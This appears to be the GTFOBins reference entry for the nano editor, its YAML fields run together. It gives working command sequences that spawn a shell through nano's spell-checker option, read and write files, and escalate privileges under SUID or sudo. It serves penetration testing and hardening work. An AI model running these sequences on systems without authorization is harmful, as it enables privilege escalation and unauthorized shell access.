GTFOBins.github.io/_gtfobins/nano.md
2019-01-21 14:07:14 +01:00

950 B

functions
shell file-write file-read suid sudo
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF nano -s $TF /etc/hosts ^T
code
nano file_to_write DATA ^O
code
nano file_to_read
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF sudo nano -s $TF /etc/hosts ^T